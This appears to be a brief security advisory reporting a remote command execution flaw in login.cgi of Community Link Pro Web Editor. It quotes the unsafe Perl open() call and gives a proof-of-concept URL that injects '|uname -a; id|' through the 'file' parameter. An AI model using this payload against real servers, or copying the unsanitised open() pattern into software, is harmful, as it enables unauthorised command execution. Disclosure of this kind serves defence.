Product .......   Community Link Pro Web Editor (login.cgi)
Type ............   Remote Command Execution

o Description:
============================
Login.cgi is a login script written in perl by Community Link Pro Web Editor that allows to a remote user to login in his own personal page.

o Vulnerable Code:
============================
[...]
open(FILE2,"$memberspath/$FORM{'username'}/$FORM{'file'}");
foreach (<FILE2>) {
  print;
}
close(FILE2);
[...]

In this code there isn't a control in cgi query and exactly in $FORM{'file'}.
Without a control you can run system command remotely (Remote Command Execution Vulnerability) with a string like login.cgi?username=&command=simple&do=edit&password=&file=|COMMAND|.

Example:

http://www.hostvuln.net/app/webeditor/login.cgi?username=&command=simple&do=edit&password=&file=|uname
 -a; id|
